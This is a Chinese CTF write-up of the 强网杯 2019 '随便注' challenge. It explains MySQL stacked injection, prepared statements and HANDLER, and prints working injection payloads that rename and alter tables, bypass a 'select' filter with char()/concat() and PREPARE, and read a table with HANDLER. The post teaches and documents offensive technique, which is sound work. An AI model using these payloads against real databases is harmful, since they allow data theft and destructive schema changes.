[SQL注入][强网杯 2019]随便注(三种姿势)
文章目录
- 前言
- 前置知识
- 堆叠注入
- 预处理语句
- 即时 SQL
- 预处理SQL
- 使用方法
- 字符串定义预处理
- 变量定义预处理 SQL
- HANDLER命令
- 三种姿势
- 姿势一 ---- 常规堆叠注入
- 姿势二---预处理语句
- 姿势三 --- handeler
- 参考文章
前言
1919810931114514必须用反单引号括起来,但是words不需要,应该是和数据类型有关
前置知识
堆叠注入
在SQL中,分号;
是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。
比如:
select flag from flag;select * from flag
它首先会执行前半部分,等前半部分执行完了以后则执行第二句话、
预处理语句
首先在介绍之前要先说一下即时sql
即时 SQL
一条 SQL 直接是走流程处理,一次编译,单次运行,此类普通语句被称作 Immediate Statements (即时 SQL),具体如下
- 词法和语义解析;
- 优化 SQL 语句,制定执行计划;
- 执行并返回结果;
但是,在绝大多数情况下,如果需求某一条 SQL 语句被反复调用执行,或者每次执行的时候只有个别的值不同。如果每次都需要经过上面的词法语义解析、语句优化、制定执行计划等,则效率就明显降低了许多。这个时候就需要预处理sql
预处理SQL
预编译语句的优势在于归纳为:一次编译、多次运行,省去了解析优化等过程;此外预编译语句能防止 SQL 注入。 MySQL 预处理语句的支持版本较早,所以我们目前普遍使用的 MySQL 版本都是支持这一语法的。
简单用法:
使用方法
MySQL 官方将 prepare、execute、deallocate 统称为 PREPARE STATEMENT。翻译也就习惯的称其为预处理语句。
PREPARE name from '[my sql sequece]'; //预定义SQL语句
EXECUTE name; //执行预定义SQL语句
(DEALLOCATE || DROP) PREPARE name; //删除预定义SQL 语句
字符串定义预处理
PREPARE stmt1 FROM 'SELECT SQRT(POW(?,2) + POW(?,2)) AS hypotenuse';
ET @a = 3;
SET @b = 4;
EXECUTE stmt1 USING @a, @b;
变量定义预处理 SQL
SET @s = 'SELECT SQRT(POW(?,2) + POW(?,2)) AS hypotenuse';
PREPARE stmt2 FROM @s;
SET @c = 6;
ET @d = 8;
EXECUTE stmt2 USING @c, @d;
DEALLOCATE PREPARE stmt2;
HANDLER命令
我觉得这篇文章还行https://www.jb51.net/article/88732.htm
,暂时了解一下吧,不做深入学习暂时
三种姿势
姿势一 ---- 常规堆叠注入
堆叠注入为攻击者提供了很多控制权,与仅限于SELECT语句的UNION联合查询攻击不同,堆叠注入可以用于执行任何SQL语句。
首先老规矩输入1
加个单引号,报错
注释掉后面大概猜到表的结构了selsect id,data from words where id =
,并且是字符型注入
整一个万能查询,看一看
利用order by查询发现有2列
查回显位,哦吼出来的这个东西基本把能用的全搞掉了,难受,考虑堆叠注入
show tables
发现有两个表一个叫words
一个叫1919810931114514
show columns from
查询列
11';show columns from words#
,发现words下面有两个字段一个id
和data
1'; show columns from
1919810931114514; #
,得到其只有一个字段flag
根据前面的分析查询语句是selsect id,data from words where id =
,,这时候就想到了一个改名的方法,把words
随便改成其他名字,然后把1919810931114514
改成words
,再把列名flag
改成id
,结合上面的1’ or 1=1#就能够得到flag了
因此我们构造payload:
′
换成``符号
111′;rename table words to hhh;rename table &prime1919810931114514′ to words;alter table words change flag id varchar(100) ;#
姿势二—预处理语句
首先给出一个基本用法示例
SET @tn = 'hahaha'; //存储表名
SET @sql = concat('select * from ', @tn); //存储SQL语句
PREPARE name from @sql; //预定义SQL语句
EXECUTE name; //执行预定义SQL语句
(DEALLOCATE || DROP) PREPARE sqla; //删除预定义SQL语句
本题即可利用 char() 函数将select的ASCII码转换为select字符串,接着利用concat()函数进行拼接得到select查询语句,从而绕过过滤。或者直接用concat()函数拼接select来绕过。
char(115,101,108,101,99,116)等价于select'
因此根据题目意思我们可以构建payload
1';SET @sqli=concat(char(115,101,108,101,99,116),'* from `1919810931114514`');PREPARE st from @sqli;EXECUTE st;#
或者
1';PREPARE st from concat('s','elect', ' * from `1919810931114514` ');EXECUTE st;#
姿势三 — handeler
涨见识了
这里还有一种新姿势,参考官方文档
HANDLER … OPEN语句打开一个表,使其可以使用后续HANDLER … READ语句访问,该表对象未被其他会话共享,并且在会话调用HANDLER … CLOSE或会话终止之前不会关闭
';handler `1919810931114514` open;handler `1919810931114514` read first#
参考文章
堆叠注入详解
MySQL的SQL预处理(Prepared)
Stacked Queries
BUUCTF-Web-随便注(三种解题思路)
SQL Injection8(堆叠注入)——强网杯2019随便注
[SQL注入][强网杯 2019]随便注(三种姿势)相关推荐
- 堆叠注入-强网杯2019随便注
靶场地址 链接(click me) 发现很友情的提示,emmm,那就先使用不同的 payload 进行测试,看下结果吧 直接点击提交,看结果,输出为一个数组,此处应有文章可做,再测试其他payload ...
- buuctf [强网杯 2019]随便注 1
buuctf web [强网杯 2019]随便注 1 -刷题个人日记 小白一个,写给自己看. 打开后是这样. 从题目和内容来看就是一道sql注入题. 输入 1' or 1=1;# 这个#用来注释掉后面 ...
- 强网杯 2019]随便注 【SQL注入】四种解法
题目简介 题目名称:[强网杯 2019]随便注 1 题目平台:BUUCTF 题目类型:Web 考察知识点: SQL注入 解题步骤 方法一: 首先启动并访问靶机,有一个输入框,随便输入1' or 1 = ...
- [强网杯 2019]随便注 —— 堆叠注入
[强网杯 2019]随便注 前言 个人观点,若有误请指教 解题思路及步骤 直接上'引号,结果直接报错了,证明存在sql注入漏洞. 判断当前表 ...
- BUUCTF Web [强网杯 2019]随便注
「作者主页」:士别三日wyx 此文章已录入专栏<网络攻防>,持续更新热门靶场的通关教程 「未知攻,焉知收」,在一个个孤独的夜晚,你完成了几百个攻防实验,回过头来才发现,已经击败了百分之 ...
- BMZCTF 强网杯 2019 随便注 原理+题解
目录 知识点 堆叠注入 show语句 mysql预编译 过程 重点 预编译 重命名 总结 知识点 堆叠注入 堆叠查询注入:堆叠查询可以执行多条SQL语句,语句之间以分号(;)隔开.而堆叠查询注入攻击就 ...
- [强网杯 2019]随便注 1
题目[强网杯 2019]随便注 1 题目来源:https://buuoj.cn/challenges#[%E5%BC%BA%E7%BD%91%E6%9D%AF%202019]%E9%9A%8F%E4% ...
- BUUCTF [强网杯 2019]随便注
题目 打开环境发现是经典的提交界面 老规则还是查询注入点,1 or 1 =1#,1' order by 1#都未出错,但是1' union select 1,2#是出现了错误,发现一些查询语句被过滤了 ...
- [强网杯 2019]随便注 1【SQL注入】解析过程
1.首先启动并访问靶机,有一个输入框,随便输入1' or 1 = 1,测试一下是否存在sql注入. 2.提交后提示error 1064 : You have an error in your SQL ...
- BUUCTF-WEB:[强网杯 2019]随便注 1
题目环境:http://de044ac0-9162-4b83-b6a6-8c99ce0efe91.node3.buuoj.cn 打开环境: 尝试注入: 解题思路: 1.先尝试用union联合注入: 第 ...
最新文章
- 干货丨关于机器学习那些你不知道的“民间智慧”
- 不错的jquery插件
- get post请求区别_LoadRunner发送GET和POST请求
- Codewars-Javascript训练手册:正则表达式(Regular Expressions)
- jquery基本操作
- java 调用htm中js函数_Lua中调用C函数(lua5.2.3)
- NSInteger,NSUInteger,NSNumber
- Code Blocks 10 05的安装及使用
- 《废柴》系列 - What?废柴,你不会下载Google浏览器插件,Are you kidding???
- Ubuntu 20.04开机自启脚本(亲测)
- 20145202马超《java》实验5
- 在Lua中“优雅”地使用Protobuf
- Pandas基础-利用python进行数据分析
- [Music]五月天-知足
- Dynamo 如何生成管道
- 利用企业微信API实现天气机器人、故障报警机器人等
- 综合评价与决策方法01——理想解法
- 关于P2P资金托管的知识
- win7系统瘦身方法,C盘瘦身方法
- 易语言python模块_Python获取指定模块基址
热门文章
- HDU1071微积分公式求曲线面积
- 天翼云技术B卷编程题
- java面试英语自我介绍_java英语面试自我介绍
- 计算机等级考试数据库三级模拟题7
- 短连接生成系统如何设计?
- 嵌入式 Linux 入门(一、Linux 基本介绍及文件结构)
- Ubuntu16.04拨号上网
- linux服务器安装网卡驱动,Linux下如何安装网卡驱动
- 3dmax:3dmax三维建模中常用的渲染设置【明暗器基本参数】、Standard的材质、光线跟踪、合成、混合、建筑、无光/投影、混合实例 、多维子对象之详细攻略
- 启用视口着色:在视图窗口实时显示灯光照明效果_daiding